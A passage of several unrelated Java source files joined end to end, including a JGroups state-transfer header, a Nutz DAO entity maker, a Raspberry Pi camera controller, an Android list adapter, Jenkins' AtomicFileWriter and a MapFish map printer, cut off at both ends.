Wakes up a previously suspended message garbage // collection protocol (e.g. STABLE) if(log.isDebugEnabled()) log.debug("passing down a RESUME_STABLE event"); passDown(new Event(Event.RESUME_STABLE)); if(state == null) { if(warn) log.warn("state received from " + sender + " is null, will return null state to application"); } else log.debug("received state, size=" + state.length + " bytes. Time=" + (stop-start) + " milliseconds"); passUp(new Event(Event.GET_STATE_OK, state)); } /** * Wraps data for a state request/response. Note that for a state response the actual state will <em>not</em * be stored in the header itself, but in the message's buffer. * */ public static class StateHeader extends Header implements Streamable { public static final byte STATE_REQ=1; public static final byte STATE_RSP=2; long id=0; // state transfer ID (to separate multiple state transfers at the same time) byte type=0; Address sender; // sender of state STATE_REQ or STATE_RSP Digest my_digest=null; // digest of sender (if type is STATE_RSP) public StateHeader() { } // for externalization public StateHeader(byte type, Address sender, long id, Digest digest) { this.type=type; this.sender=sender; this.id=id; this.my_digest=digest; } public int getType() { return type; } public Digest getDigest() { return my_digest; } public boolean equals(Object o) { StateHeader other; if(sender != null && o != null) { if(!(o instanceof StateHeader)) return false; other=(StateHeader)o; return sender.equals(other.sender) && id == other.id; } return false; } public int hashCode() { if(sender != null) return sender.hashCode() + (int)id; else return (int)id; } public String toString() { StringBuffer sb=new StringBuffer(); sb.append("[StateHeader: type=").append(type2Str(type)); if(sender != null) sb.append(", sender=").append(sender).append(" id=#").append(id); if(my_digest != null) sb.append(", digest=").append(my_digest); return sb.toString(); } static String type2Str(int t) { switch(t) { case STATE_REQ: return "STATE_REQ"; case STATE_RSP: return "STATE_RSP"; default: return "<unknown>"; } } public void writeExternal(ObjectOutput out) throws IOException { out.writeObject(sender); out.writeLong(id); out.writeByte(type); out.writeObject(my_digest); } public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { sender=(Address)in.readObject(); id=in.readLong(); type=in.readByte(); my_digest=(Digest)in.readObject(); } public void writeTo(DataOutputStream out) throws IOException { out.writeByte(type); out.writeLong(id); Util.writeAddress(sender, out); Util.writeStreamable(my_digest, out); } public void readFrom(DataInputStream in) throws IOException, IllegalAccessException, InstantiationException { type=in.readByte(); id=in.readLong(); sender=Util.readAddress(in); my_digest=(Digest)Util.readStreamable(Digest.class, in); } public long size() { long retval=Global.LONG_SIZE + Global.BYTE_SIZE; // id and type retval+=Util.size(sender); retval+=Global.BYTE_SIZE; // presence byte for my_digest if(my_digest != null) retval+=my_digest.serializedSize(); return retval; } } }
package org.nutz.dao.entity.impl; import java.lang.annotation.Annotation; import java.lang.reflect.Field; import java.sql.Connection; import java.sql.ResultSet; import java.sql.ResultSetMetaData; import java.sql.SQLException; import java.sql.Statement; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import org.nutz.dao.Daos; import org.nutz.dao.DatabaseMeta; import org.nutz.dao.TableName; import org.nutz.dao.entity.Entity; import org.nutz.dao.entity.EntityField; import org.nutz.dao.entity.FieldType; import org.nutz.dao.entity.EntityMaker; import org.nutz.dao.entity.EntityName; import org.nutz.dao.entity.ErrorEntitySyntaxException; import org.nutz.dao.entity.Link; import org.nutz.dao.entity.ValueAdapter; import org.nutz.dao.entity.annotation.Column; import org.nutz.dao.entity.annotation.Default; import org.nutz.dao.entity.annotation.Next; import org.nutz.dao.entity.annotation.PK; import org.nutz.dao.entity.annotation.Id; import org.nutz.dao.entity.annotation.Many; import org.nutz.dao.entity.annotation.ManyMany; import org.nutz.dao.entity.annotation.Name; import org.nutz.dao.entity.annotation.One; import org.nutz.dao.entity.annotation.Prev; import org.nutz.dao.entity.annotation.Readonly; import org.nutz.dao.entity.annotation.Table; import org.nutz.dao.entity.annotation.View; import org.nutz.dao.entity.born.Borns; import org.nutz.dao.entity.next.FieldQuery; import org.nutz.dao.entity.next.FieldQuerys; import org.nutz.dao.sql.FieldAdapter; import org.nutz.lang.Lang; import org.nutz.lang.Mirror; import org.nutz.lang.Strings; import org.nutz.lang.segment.CharSegment; import org.nutz.lang.segment.Segment; import org.nutz.log.Log; import org.nutz.log.Logs; /** * This class must be drop after make() be dropped * * @author zozoh(zozohtnt@gmail.com) * @author Bird.Wyatt(bird.wyatt@gmail.com) * */ public class DefaultEntityMaker implements EntityMaker { private static final Log log = Logs.getLog(DefaultEntityMaker.class); public Entity<?> make(DatabaseMeta db, Connection conn, Class<?> type) { Entity<?> entity = new Entity<Object>(); Mirror<?> mirror = Mirror.me(type); entity.setMirror(mirror); if (log.isDebugEnabled()) log.debugf("Parse POJO <%s> for DB[%s]", type.getName(), db.getTypeName()); // Get @Table & @View entity.setTableName(evalEntityName(type, Table.class, null)); entity.setViewName(evalEntityName(type, View.class, Table.class)); // Borning entity.setBorning(Borns.evalBorning(entity)); // Check if the POJO has @Column fields boolean existsColumnAnnField = isPojoExistsColumnAnnField(mirror); // Eval PKs HashMap<String, EntityField> pkmap = new HashMap<String, EntityField>(); PK pk = type.getAnnotation(PK.class); if (null != pk) { for (String pknm : pk.value()) pkmap.put(pknm, null); } // Get relative meta data from DB Statement stat = null; ResultSet rs = null; ResultSetMetaData rsmd = null; List<FieldQuery> befores; List<FieldQuery> afters; try { try { stat = conn.createStatement(); rs = stat.executeQuery(db.getResultSetMetaSql(entity.getViewName())); rsmd = rs.getMetaData(); } catch (Exception e) { if (log.isWarnEnabled()) log.warn("Table '" + entity.getViewName() + "' doesn't exist."); } befores = new ArrayList<FieldQuery>(5); afters = new ArrayList<FieldQuery>(5); // For each fields ... for (Field f : mirror.getFields()) { // When the field declared @Many, @One, @ManyMany Link link = evalLink(db, conn, mirror, f); if (null != link) { entity.addLinks(link); } // Then try to eval the field else { // This POJO has @Column field, but this field not, so // ignore it if (existsColumnAnnField) if (!pkmap.containsKey(f.getName())) if (null == f.getAnnotation(Column.class)) if (null == f.getAnnotation(Id.class)) if (null == f.getAnnotation(Name.class)) continue; // Create EntityField EntityField ef = evalField(db, rsmd, entity, f); if (null != ef) { // Is it a PK? if (pkmap.containsKey(ef.getName())) { pkmap.put(ef.getName(), ef); if (!(ef.isId() || ef.isName())) ef.setType(FieldType.PK); } // Is befores? or afters? if (null != ef.getBeforeInsert()) befores.add(ef.getBeforeInsert()); else if (null != ef.getAfterInsert()) afters.add(ef.getAfterInsert()); // Append to Entity entity.addField(ef); } } } // Done for all fields } // For exception... catch (SQLException e) { throw Lang.wrapThrow(e, "Fail to make POJO '%s'", type); } // Close ResultSet and Statement finally { Daos.safeClose(stat, rs); } // Then let's check the pks if (pkmap.size() > 0) { EntityField[] pks = new EntityField[pkmap.size()]; for (int i = 0; i < pk.value().length; i++) pks[i] = pkmap.get(pk.value()[i]); entity.setPkFields(pks); } // Eval beforeInsert fields and afterInsert fields entity.setBefores(befores.toArray(new FieldQuery[befores.size()])); entity.setAfters(afters.toArray(new FieldQuery[afters.size()])); return entity; } private ErrorEntitySyntaxException error(Entity<?> entity, String fmt, Object... args) { return new ErrorEntitySyntaxException(String.format("[%s] : %s", null == entity ? "NULL" : entity.getType() .getName(), String.format(fmt, args))); } private EntityField evalField( DatabaseMeta db, ResultSetMetaData rsmd, Entity<?> entity, Field field) throws SQLException { // Change accessiable field.setAccessible(true); // Create ... EntityField ef = new EntityField(entity, field); // Eval field column name Column column = field.getAnnotation(Column.class); if (null == column || Strings.isBlank(column.value())) ef.setColumnName(field.getName()); else ef.setColumnName(column.value()); int ci = Daos.getColumnIndex(rsmd, ef.getColumnName()); // @Readonly ef.setReadonly((field.getAnnotation(Readonly.class) != null)); // Not Null if (null != rsmd) ef.setNotNull(ResultSetMetaData.columnNoNulls == rsmd.isNullable(ci)); // For Enum field if (null != rsmd) if (ef.getMirror().isEnum()) { if (Daos.isIntLikeColumn(rsmd, ci)) ef.setType(FieldType.ENUM_INT); } // @Default Default dft = field.getAnnotation(Default.class); if (null != dft) { ef.setDefaultValue(new CharSegment(dft.value())); } // @Prev Prev prev = field.getAnnotation(Prev.class); if (null != prev) { ef.setBeforeInsert(FieldQuerys.eval(db, prev.value(), ef)); } // @Next Next next = field.getAnnotation(Next.class); if (null != next) { ef.setAfterInsert(FieldQuerys.eval(db, next.value(), ef)); } Id id = field.getAnnotation(Id.class); if (null != id) { // Check if (!ef.getMirror().isIntLike()) throw error(entity, "@Id field [%s] must be a Integer!", field.getName()); if (id.auto()) { ef.setType(FieldType.SERIAL); // '@Next' SELECT MAX(id) ... if (null == field.getAnnotation(Next.class)) { ef.setAfterInsert(FieldQuerys.create("SELECT MAX($field) FROM $view", ef)); } } else { ef.setType(FieldType.ID); } } // @Name Name name = field.getAnnotation(Name.class); if (null != name) { // Check if (!ef.getMirror().isStringLike()) throw error(entity, "@Name field [%s] must be a String!", field.getName()); // Not null ef.setNotNull(true); // Set Name if (name.casesensitive()) ef.setType(FieldType.CASESENSITIVE_NAME); else ef.setType(FieldType.NAME); } // Prepare how to adapt the field value to PreparedStatement ef.setFieldAdapter(FieldAdapter.create(ef.getMirror(), ef.isEnumInt())); // Prepare how to adapt the field value from ResultSet ef.setValueAdapter(ValueAdapter.create(ef.getMirror(), ef.isEnumInt())); return ef; } private Link evalLink(DatabaseMeta db, Connection conn, Mirror<?> mirror, Field field) { try { // @One One one = field.getAnnotation(One.class); if (null != one) { // One > refer own field Mirror<?> ta = Mirror.me(one.target()); Field referFld = mirror.getField(one.field()); Field targetPkFld = lookupPkByReferField(ta, referFld); return Link.getLinkForOne(mirror, field, ta.getType(), referFld, targetPkFld); } Many many = field.getAnnotation(Many.class); if (null != many) { Mirror<?> ta = Mirror.me(many.target()); Field pkFld; Field targetReferFld; if (Strings.isBlank(many.field())) { pkFld = null; targetReferFld = null; } else { targetReferFld = ta.getField(many.field()); pkFld = lookupPkByReferField(mirror, targetReferFld); } return Link.getLinkForMany( mirror, field, ta.getType(), targetReferFld, pkFld, many.key()); } ManyMany mm = field.getAnnotation(ManyMany.class); if (null != mm) { // Read relation Statement stat = null; ResultSet rs = null; ResultSetMetaData rsmd = null; boolean fromName = false; boolean toName = false; try { stat = conn.createStatement(); Segment tableName = new CharSegment(mm.relation()); rs = stat.executeQuery(db.getResultSetMetaSql(TableName.render(tableName))); rsmd = rs.getMetaData(); fromName = !Daos.isIntLikeColumn(rsmd, mm.from()); toName = !Daos.isIntLikeColumn(rsmd, mm.to()); } catch (Exception e) { if (log.isWarnEnabled()) log.warnf("Fail to get table '%s', '%s' and '%s' " + "will be taken as @Id ", mm.relation(), mm.from(), mm.to()); } finally { Daos.safeClose(stat, rs); } Mirror<?> ta = Mirror.me(mm.target()); Field selfPk = mirror.getField(fromName ? Name.class : Id.class); Field targetPk = ta.getField(toName ? Name.class : Id.class); return Link.getLinkForManyMany( mirror, field, ta.getType(), selfPk, targetPk, mm.key(), mm.relation(), mm.from(), mm.to()); // return Link.getLinkForManyMany(mirror, field, mm.target(), // mm.key(), mm.from(), mm // .to(), mm.relation(), fromName, toName); } } catch (Exception e) { throw Lang.makeThrow( "Fail to eval linked field '%s' of class[%s] for the reason '%s'", field.getName(), mirror.getType().getName(), e.getMessage()); } return null; } private static Field lookupPkByReferField(Mirror<?> mirror, Field fld) throws NoSuchFieldException { Mirror<?> fldType = Mirror.me(fld.getType()); if (fldType.isStringLike()) { return mirror.getField(Name.class); } else if (fldType.isIntLike()) { return mirror.getField(Id.class); } throw Lang.makeThrow( "'%s'.'%s' can only be CharSequence or Integer", fld.getDeclaringClass().getName(), fld.getName()); } private boolean isPojoExistsColumnAnnField(Mirror<?> mirror) { for (Field f : mirror.getFields()) if (null != f.getAnnotation(Column.class)) return true; return false; } private EntityName evalEntityName( Class<?> type, Class<? extends Annotation> annType, Class<? extends Annotation> dftAnnType) { Annotation ann = null; Class<?> me = type; while (null != me && !(me == Object.class)) { ann = me.getAnnotation(annType); if (ann != null) { String v = Mirror.me(annType).invoke(ann, "value").toString(); if (!Strings.isBlank(v)) return EntityName.create(v); } me = me.getSuperclass(); } if (null != dftAnnType) return evalEntityName(type, dftAnnType, null); return EntityName.create(type.getSimpleName().toLowerCase()); } }
package lpn.parser; import java.util.ArrayList; public class Component extends LhpnFile{ private ArrayList<Integer> processIDList; private ArrayList<Transition> compTrans; private ArrayList<Place> compPlaces; private ArrayList<Variable> compInputs; private ArrayList<Variable> compOutputs; private ArrayList<Variable> compInternals; private int compid; public Component(LpnProcess process) { compTrans = new ArrayList<Transition>(); compPlaces = new ArrayList<Place>(); processIDList = new ArrayList<Integer>(); compInputs = new ArrayList<Variable>(); compOutputs = new ArrayList<Variable>(); compInternals = new ArrayList<Variable>(); processIDList.add(process.getProcessId()); compTrans.addAll(process.getProcessTransitions()); compPlaces.addAll(process.getProcessPlaces()); compInputs.addAll(process.getProcessInput()); compOutputs.addAll(process.getProcessOutput()); compInternals.addAll(process.getProcessInternal()); compid = process.getProcessId(); } public Component() { compTrans = new ArrayList<Transition>(); compPlaces = new ArrayList<Place>(); processIDList = new ArrayList<Integer>(); compInputs = new ArrayList<Variable>(); compOutputs = new ArrayList<Variable>(); compInternals = new ArrayList<Variable>(); } public Component getComponent() { return this; } public Integer getComponentId() { return compid; } public void setComponentId(Integer id) { this.compid = id; } public ArrayList<Integer> getProcessIDList() { return processIDList; } public void setProcessIDList(ArrayList<Integer> processIDList) { this.processIDList = processIDList; } public ArrayList<Variable> getInternals() { return compInternals; } public ArrayList<Variable> getOutputs() { return compOutputs; } public ArrayList<Variable> getInputs() { return compInputs; } public LhpnFile buildLPN(LhpnFile lpnComp) { // Places for (int i=0; i< this.getComponentPlaces().size(); i++) { Place p = this.getComponentPlaces().get(i); lpnComp.addPlace(p.getName(), p.isMarked()); } // Transitions for (int i=0; i< this.getCompTransitions().size(); i++) { Transition t = this.getCompTransitions().get(i); lpnComp.addTransition(t); } // Inputs for (int i=0; i< this.getInputs().size(); i++) { Variable var = this.getInputs().get(i); lpnComp.addInput(var.getName(), var.getType(), var.getInitValue()); } // Outputs for (int i=0; i< this.getOutputs().size(); i++) { Variable var = this.getOutputs().get(i); lpnComp.addOutput(var.getName(), var.getType(), var.getInitValue()); } // Internal for (int i=0; i< this.getInternals().size(); i++) { Variable var = this.getInternals().get(i); lpnComp.addInternal(var.getName(), var.getType(), var.getInitValue()); } return lpnComp; } public ArrayList<Transition> getCompTransitions() { return compTrans; } public ArrayList<Place> getComponentPlaces() { return compPlaces; } public int getNumVars() { // return the number of variables in this component System.out.println("+++++++ Vars in component " + this.getComponentId() + "+++++++"); System.out.println("compInputs:"); for (int i=0; i < compInputs.size(); i++) { System.out.println(compInputs.get(i).getName()); } System.out.println("compOutputs:"); for (int i=0; i < compOutputs.size(); i++) { System.out.println(compOutputs.get(i).getName()); } System.out.println("compInternal:"); for (int i=0; i < compInternals.size(); i++) { System.out.println(compInternals.get(i).getName()); } System.out.println("++++++++++++++++++"); return compInputs.size() + compInternals.size() + compOutputs.size(); } }
package net.acomputerdog.picam; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.google.gson.stream.JsonReader; import net.acomputerdog.picam.camera.Camera; import net.acomputerdog.picam.config.PiConfig; import net.acomputerdog.picam.system.FileSystem; import net.acomputerdog.picam.system.net.Network; import net.acomputerdog.picam.web.WebServer; import java.io.*; public class PiCamController { private final File cfgFile; private final Gson gson; private final Thread shutdownHandler; private WebServer webServer; private Camera[] cameras; private PiConfig config; private FileSystem fileSystem; private Network network; private File baseDir; private File vidDir; private File picDir; private File streamDir; private File tmpDir; private PiCamController(String configPath) { try { GsonBuilder builder = new GsonBuilder(); builder.setPrettyPrinting(); this.gson = builder.create(); this.cfgFile = new File(configPath); if (!cfgFile.exists()) { createDefaultConfig(); } try (JsonReader reader = new JsonReader(new FileReader(cfgFile))) { this.config = gson.fromJson(reader, PiConfig.class); } catch (IOException e) { throw new RuntimeException("IO error while loading config", e); } readConfig(); // shutdown handler to take care of exit tasks this.shutdownHandler = new Thread(this::shutdown); Runtime.getRuntime().addShutdownHook(shutdownHandler); } catch (Exception e) { throw new RuntimeException("Exception setting up camera", e); } } private void start() { webServer.start(); System.out.println("Started."); } public void exit() { // don't cause shutdown to be called twice Runtime.getRuntime().removeShutdownHook(shutdownHandler); shutdown(); System.exit(0); } private void shutdown() { try { System.out.println("Shutting down controller."); saveConfig(); } catch (Exception e) { System.err.println("Exception while shutting down"); e.printStackTrace(); } } private void readConfig() { try { baseDir = new File(config.baseDirectory); if (!baseDir.isDirectory() && !baseDir.mkdir()) { System.out.println("Unable to create base directory"); } vidDir = new File(baseDir, "videos/"); if (!vidDir.isDirectory() && !vidDir.mkdir()) { System.out.println("Unable to create video directory"); } picDir = new File(baseDir, "snapshots/"); if (!picDir.isDirectory() && !picDir.mkdir()) { System.out.println("Unable to create snapshot directory"); } streamDir = new File(baseDir, "stream/"); if (!streamDir.isDirectory() && !streamDir.mkdir()) { System.out.println("Unable to create stream directory"); } tmpDir = new File(baseDir, "tmp/"); if (!tmpDir.isDirectory() && !tmpDir.mkdir()) { System.out.println("Unable to create temp directory"); } this.fileSystem = new FileSystem(config); this.network = new Network(this); // we can't restart the web server without causing the program to exit if (this.webServer == null) { this.webServer = new WebServer(this); } if (cameras != null) { for (Camera camera : cameras) { if (camera.isRecording()) { camera.stop(); } } } this.cameras = new Camera[]{new Camera(this, 0)}; } catch (Exception e) { throw new RuntimeException("Exception initializing components", e); } } public void saveConfig() throws IOException { try (Writer writer = new FileWriter(cfgFile)) { gson.toJson(config, writer); } } private void createDefaultConfig() throws IOException { resetConfig(); saveConfig(); } public void resetConfig() { config = PiConfig.createDefault(); } public void updateConfig(String json) { config = gson.fromJson(json, PiConfig.class); readConfig(); } public Camera getCamera(int num) { return cameras[num]; } public String getConfigJson() { return gson.toJson(config); } public String getVersionString() { return "Pi Camera Controller v0.3.2"; } public File getBaseDir() { return baseDir; } public File getVidDir() { return vidDir; } public File getPicDir() { return picDir; } public File getStreamDir() { return streamDir; } public File getTmpDir() { return tmpDir; } public PiConfig getConfig() { return config; } public Network getNetwork() { return network; } public FileSystem getFS() { return fileSystem; } public static void main(String[] args) { String path = "camera.cfg"; if (args.length > 0) { path = args[0]; } new PiCamController(path).start(); } }
package net.somethingdreadful.MAL; import java.util.ArrayList; import java.util.List; import net.somethingdreadful.MAL.R; import android.app.ActionBar.LayoutParams; import android.content.Context; import android.content.res.Resources; import android.util.DisplayMetrics; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.view.ViewGroup.MarginLayoutParams; import android.widget.ArrayAdapter; import android.widget.ImageView; import android.widget.TextView; public class CoverAdapter<T> extends ArrayAdapter<T> { private ArrayList<T> objects; private ImageDownloader imageManager; private Context c; private int dp64; private int dp6; private int dp8; private int dp12; private int dp32; public CoverAdapter(Context context, int resource, ArrayList<T> objects) { super(context, resource, objects); // TODO Auto-generated constructor stub this.objects = objects; this.c = context; imageManager = new ImageDownloader(c); dp64 = dpToPx(64); dp32 = dpToPx(32); dp12 = dpToPx(12); dp6 = dpToPx(6); dp8 = dpToPx(8); } @Override public View getView(int position, View convertView, ViewGroup parent) { // TODO Auto-generated method stub //return super.getView(position, convertView, parent); View v = convertView; GenericMALRecord a = ((GenericMALRecord) objects.get(position)); String myStatus = a.getMyStatus(); if (v == null) { LayoutInflater inflater = (LayoutInflater) getContext().getSystemService(Context.LAYOUT_INFLATER_SERVICE); v = inflater.inflate(R.layout.grid_cover_with_text_item, parent, false); } TextView label = (TextView) v.findViewById(R.id.animeName); label.setText(a.getName()); TextView watchedCount = (TextView) v.findViewById(R.id.watchedCount); watchedCount.setText("" + a.getAmountConsumed()); ImageView cover = (ImageView) v.findViewById(R.id.coverImage); imageManager.download(a.getImageUrl(), cover); TextView flavourText = (TextView) v.findViewById(R.id.stringWatched); if ("watching".equals(myStatus)) { flavourText.setText(R.string.cover_Watching); watchedCount.setVisibility(watchedCount.VISIBLE); } if ("completed".equals(myStatus)) { flavourText.setText(R.string.cover_Completed); watchedCount.setVisibility(watchedCount.VISIBLE); } if ("on-hold".equals(myStatus)) { flavourText.setText(R.string.cover_OnHold); watchedCount.setVisibility(watchedCount.VISIBLE); } if ("dropped".equals(myStatus)) { flavourText.setText(R.string.cover_Dropped); watchedCount.setVisibility(watchedCount.INVISIBLE); } if ("plan to watch".equals(myStatus)) { flavourText.setText(R.string.cover_PlanningToWatch); watchedCount.setVisibility(watchedCount.INVISIBLE); } // icon.setImageResource(R.drawable.icon); return v; } public int dpToPx(float dp){ Resources resources = c.getResources(); DisplayMetrics metrics = resources.getDisplayMetrics(); float px = dp * (metrics.densityDpi/160f); return (int) px; } }
package net.ssehub.kernel_haven; /** * An exception that is thrown if the setup of the pipeline fails. * * @author Adam * @author Manu */ public class SetUpException extends Exception { private static final long serialVersionUID = -7292429707209634352L; /** * Creates a new {@link SetUpException}. */ public SetUpException() { } /** * Creates a new {@link SetUpException}. * * @param message * A message describing the failure. */ public SetUpException(String message) { super(message); } /** * Creates a new {@link SetUpException}. * * @param cause * The exception that caused this exception. */ public SetUpException(Throwable cause) { super(cause); } /** * Constructs a new exception with the specified detail message and * cause. <p>Note that the detail message associated with * {@code cause} is <i>not</i> automatically incorporated in * this exception's detail message. * * @param message the detail message (which is saved for later retrieval * by the {@link #getMessage()} method). * @param cause the cause (which is saved for later retrieval by the * {@link #getCause()} method). (A <tt>null</tt> value is * permitted, and indicates that the cause is nonexistent or * unknown.) */ public SetUpException(String message, Throwable cause) { super(message, cause); } }
package hudson.util; import hudson.Util; import java.io.BufferedWriter; import java.io.File; import java.io.FileOutputStream; import java.io.FileWriter; import java.io.IOException; import java.io.OutputStreamWriter; import java.io.Writer; import java.nio.charset.Charset; import java.nio.file.AtomicMoveNotSupportedException; import java.nio.file.CopyOption; import java.nio.file.Files; import java.nio.file.OpenOption; import java.nio.file.Path; import java.nio.file.StandardCopyOption; import java.nio.file.StandardOpenOption; import java.nio.file.attribute.BasicFileAttributes; import java.nio.file.attribute.FileAttribute; /** * Buffered {@link FileWriter} that supports atomic operations. * * <p> * The write operation is atomic when used for overwriting; * it either leaves the original file intact, or it completely rewrites it with new contents. * * @author Kohsuke Kawaguchi */ public class AtomicFileWriter extends Writer { private final Writer core; private final Path tmpFile; private final Path destFile; /** * Writes with UTF-8 encoding. */ public AtomicFileWriter(File f) throws IOException { this(f,"UTF-8"); } /** * @param encoding File encoding to write. If null, platform default encoding is chosen. * * @deprecated Use {@link #AtomicFileWriter(File, Charset)} */ @Deprecated public AtomicFileWriter(File f, String encoding) throws IOException { this(f, Charset.forName(encoding)); } /** * @param charset File charset to write. If null, platform default encoding is chosen. */ public AtomicFileWriter(File f, Charset charset) throws IOException { destFile = f.toPath(); Path dir = destFile.getParent(); try { Files.createDirectories(dir); tmpFile = Files.createTempFile(dir, "atomic", "tmp"); } catch (IOException e) { throw new IOException("Failed to create a temporary file in "+ dir,e); } if (charset==null) { charset = Charset.defaultCharset(); } core = Files.newBufferedWriter(tmpFile, charset, StandardOpenOption.SYNC); } @Override public void write(int c) throws IOException { core.write(c); } @Override public void write(String str, int off, int len) throws IOException { core.write(str,off,len); } public void write(char cbuf[], int off, int len) throws IOException { core.write(cbuf,off,len); } public void flush() throws IOException { core.flush(); } public void close() throws IOException { core.close(); } /** * When the write operation failed, call this method to * leave the original file intact and remove the temporary file. * This method can be safely invoked from the "finally" block, even after * the {@link #commit()} is called, to simplify coding. */ public void abort() throws IOException { close(); Files.deleteIfExists(tmpFile); } public void commit() throws IOException { close(); try { // Try to make an atomic move. Files.move(tmpFile, destFile, StandardCopyOption.ATOMIC_MOVE); } catch (AtomicMoveNotSupportedException e) { // If it falls here that means that Atomic move is not supported by the OS. // In this case we need to fall-back to a copy option which is supported by all OSes. Files.move(tmpFile, destFile, StandardCopyOption.REPLACE_EXISTING); } } @Override protected void finalize() throws Throwable { // one way or the other, temporary file should be deleted. close(); Files.deleteIfExists(tmpFile); } /** * Until the data is committed, this file captures * the written content. * * @deprecated Use getTemporaryPath() for JDK 7+ */ @Deprecated public File getTemporaryFile() { return tmpFile.toFile(); } /** * Until the data is committed, this file captures * the written content. * @since TODO */ public Path getTemporaryPath() { return tmpFile; } }
package org.mapfish.print; import com.google.common.io.Files; import org.json.JSONException; import org.json.JSONObject; import org.json.JSONWriter; import org.mapfish.print.config.Configuration; import org.mapfish.print.config.ConfigurationFactory; import org.mapfish.print.config.WorkingDirectories; import org.mapfish.print.output.OutputFormat; import org.mapfish.print.servlet.MapPrinterServlet; import org.mapfish.print.wrapper.json.PJsonObject; import org.springframework.beans.factory.annotation.Autowired; import java.io.ByteArrayInputStream; import java.io.File; import java.io.IOException; import java.io.OutputStream; import java.net.URI; import java.util.Map; import java.util.Set; import java.util.SortedSet; import java.util.TreeSet; import javax.annotation.PostConstruct; import javax.imageio.ImageIO; /** * The main class for printing maps. Will parse the spec, create the PDF * document and generate it. * <p/> * This class should not be directly created but rather obtained from an application * context object so that all plugins and dependencies are correctly injected into it */ public class MapPrinter { private static final String OUTPUT_FORMAT_BEAN_NAME_ENDING = "OutputFormat"; private Configuration configuration; @Autowired private Map<String, OutputFormat> outputFormat; @Autowired private ConfigurationFactory configurationFactory; private File configFile; @Autowired private WorkingDirectories workingDirectories; /** * Ensure that extensions for ImageIO (like the reader and writer for TIFF) are registered. * This is required for certain Windows systems. */ @PostConstruct public final void initImageIO() { ImageIO.scanForPlugins(); } /** * Set the configuration file and update the configuration for this printer. * * @param newConfigFile the file containing the new configuration. */ public final void setConfiguration(final File newConfigFile) throws IOException { setConfiguration(newConfigFile.toURI(), Files.toByteArray(newConfigFile)); } /** * Set the configuration file and update the configuration for this printer. * * @param newConfigFile the file containing the new configuration. * @param configFileData the config file data. */ public final void setConfiguration(final URI newConfigFile, final byte[] configFileData) throws IOException { this.configFile = new File(newConfigFile); this.configuration = this.configurationFactory.getConfig(this.configFile, new ByteArrayInputStream(configFileData)); } public final Configuration getConfiguration() { return this.configuration; } /** * Use by /info.json to generate its returned content. * @param json the writer for outputting the config specification */ public final void printClientConfig(final JSONWriter json) throws JSONException { this.configuration.printClientConfig(json); } /** * Parse the JSON string and return the object. The string is expected to be the JSON print data from the client. * * @param spec the JSON formatted string. * * @return The encapsulated JSON object */ public static PJsonObject parseSpec(final String spec) { final JSONObject jsonSpec; try { jsonSpec = new JSONObject(spec); } catch (JSONException e) { throw new RuntimeException("Cannot parse the spec file", e); } return new PJsonObject(jsonSpec, "spec"); } /** * Get the object responsible for printing to the correct output format. * * @param specJson the request json from the client */ public final OutputFormat getOutputFormat(final PJsonObject specJson) { String format = specJson.getString(MapPrinterServlet.JSON_OUTPUT_FORMAT); if (!this.outputFormat.containsKey(format + OUTPUT_FORMAT_BEAN_NAME_ENDING)) { throw new RuntimeException("Format '" + format + "' is not supported."); } return this.outputFormat.get(format + OUTPUT_FORMAT_BEAN_NAME_ENDING); } /** * Start a print. * @param specJson the client json request. * @param out the stream to write to. */ public final void print(final PJsonObject specJson, final OutputStream out) throws Exception { final OutputFormat format = getOutputFormat(specJson); final File taskDirectory = this.workingDirectories.getTaskDirectory(); try { format.print(specJson, getConfiguration(), this.configFile.getParentFile(), taskDirectory, out); } finally { this.workingDirectories.removeDirectory(taskDirectory); } } /** * Return the available format ids. */ public final Set<String> getOutputFormatsNames() { SortedSet<String> formats = new TreeSet<String>(); for (String formatBeanName : this.outputFormat.keySet()) { formats.add(formatBeanName.substring(0, formatBeanName.indexOf(OUTPUT_FORMAT_BEAN_NAME_ENDING))); } return formats; } }
package org.mwdb.manager; import org.mwdb.*; import org.mwdb.plugin.KFactory; import org.mwdb.plugin.KResolver; import org.mwdb.plugin.KScheduler; import org.mwdb.plugin.KStorage; import org.mwdb.chunk.*; import org.mwdb.utility.Buffer; public class MWGResolver implements KResolver { private final KStorage _storage; private final KChunkSpace _space; private final KNodeTracker _tracker; private final KScheduler _scheduler; private static final String deadNodeError = "This Node has been tagged destroyed, please don't use it anymore!"; private KGraph _graph; public MWGResolver(KStorage p_storage, KChunkSpace p_space, KNodeTracker p_tracker, KScheduler p_scheduler) { this._storage = p_storage; this._space = p_space; this._tracker = p_tracker; this._scheduler = p_scheduler; } private KStateChunk dictionary; @Override public void init(KGraph graph) { _graph = graph; dictionary = (KStateChunk) this._space.getAndMark(Constants.STATE_CHUNK, Constants.GLOBAL_DICTIONARY_KEY[0], Constants.GLOBAL_DICTIONARY_KEY[1], Constants.GLOBAL_DICTIONARY_KEY[2]); } @Override public void initNode(KNode node, long codeType) { KStateChunk cacheEntry = (KStateChunk) this._space.create(Constants.STATE_CHUNK, node.world(), node.time(), node.id(), null, null); //put and mark this._space.putAndMark(cacheEntry); //declare dirty now because potentially no insert could be done this._space.declareDirty(cacheEntry); //initiate superTime management KTimeTreeChunk superTimeTree = (KTimeTreeChunk) this._space.create(Constants.TIME_TREE_CHUNK, node.world(), Constants.NULL_LONG, node.id(), null, null); superTimeTree = (KTimeTreeChunk) this._space.putAndMark(superTimeTree); superTimeTree.insert(node.time()); //initiate time management KTimeTreeChunk timeTree = (KTimeTreeChunk) this._space.create(Constants.TIME_TREE_CHUNK, node.world(), node.time(), node.id(), null, null); timeTree = (KTimeTreeChunk) this._space.putAndMark(timeTree); timeTree.insert(node.time()); //initiate universe management KWorldOrderChunk objectWorldOrder = (KWorldOrderChunk) this._space.create(Constants.WORLD_ORDER_CHUNK, Constants.NULL_LONG, Constants.NULL_LONG, node.id(), null, null); objectWorldOrder = (KWorldOrderChunk) this._space.putAndMark(objectWorldOrder); objectWorldOrder.put(node.world(), node.time()); objectWorldOrder.setExtra(codeType); //mark the global this._space.getAndMark(Constants.WORLD_ORDER_CHUNK, Constants.NULL_LONG, Constants.NULL_LONG, Constants.NULL_LONG); //monitor the node object this._tracker.monitor(node); } @Override public void initWorld(long parentWorld, long childWorld) { KWorldOrderChunk worldOrder = (KWorldOrderChunk) this._space.getAndMark(Constants.WORLD_ORDER_CHUNK, Constants.NULL_LONG, 